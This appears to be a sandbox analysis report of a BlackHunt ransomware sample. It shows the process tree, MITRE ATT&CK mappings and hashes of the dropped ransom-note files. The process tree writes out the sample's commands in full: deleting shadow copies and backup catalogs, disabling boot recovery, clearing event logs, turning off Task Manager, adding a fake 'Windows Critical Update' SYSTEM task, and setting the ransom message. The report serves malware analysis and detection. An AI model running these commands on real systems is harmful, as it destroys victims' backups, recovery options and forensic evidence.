  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:5032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe" /F
  2⤵
  PID:1128
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3508
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4604
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4764
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2092
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Modifies registry class
    PID:3512
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4688
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2368
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4332
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4712
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4876
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3012
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3336
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3600
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3724
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4684
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4680
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:280
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2252
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4472
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5012
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:6040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:5496
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:5976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:664
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:5628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3532
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:2168
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:6020
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6020 -s 1452
      4⤵
      Program crash
      PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:5400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:5776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:1000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:5424
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5384
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5280
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\5f8398d985fa3608e7a4a33df586e779f8882b980c491ed7bc61cc88653ab086.exe"
  2⤵
  PID:5624
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2484

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2632

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1112

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1388

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 6020 -ip 6020
1⤵
PID:5084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
ca02266cd80d7474dc4e78d763797bd7

SHA1
d84ee7c1381af5b319aab9bda3b4de21096bbb5d

SHA256
0ea1c124dd362703eea9e8553e1d7d56eaad089bba8dbb2f8509b59fd45f5de7

SHA512
4c0b8f3c78d80142a44a9f6f35849cc1d7bb8ba41f15f9db40fe92ccbc4f267f3522ca4cb2e6862a6b9efeb565f5ca9c2f42ea4c5a55710d3df821b1990a7328

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
265a9502954ac75dcacff88feee0646a

SHA1
24b2d7a55f3a0a0fe9b6b278df6949082210d492

SHA256
4158e1852b3f5e3d3878b77305dd808d0f4c2a04b44399b0a7085a1f38a2d3f4

SHA512
f6b80be20ddf05f781b11fae38b39da2478625d93681bcc67b55e7e20636a478e89064cfe0742c22e9b215168fa602b925f7a03a4c415693da4c4247a22013f4

Download Submit
F:\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
3a0980ef0b34ebd30d83722fc7977129

SHA1
e4bd5daf7b03cdb10472011b71bb80f2f008f161

SHA256
327a231b3bfa85da1193fc3454f2ade3497e30e5e2beb3b068c24c9222569f66

SHA512
3a54045720038dc948cadab183fc249a8c361ec9e3f0e734a5f8b837b1f70a05d1b97a8111528a284b50c2a5953649c124d273d915a4eca865cadc5a58f52da0

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads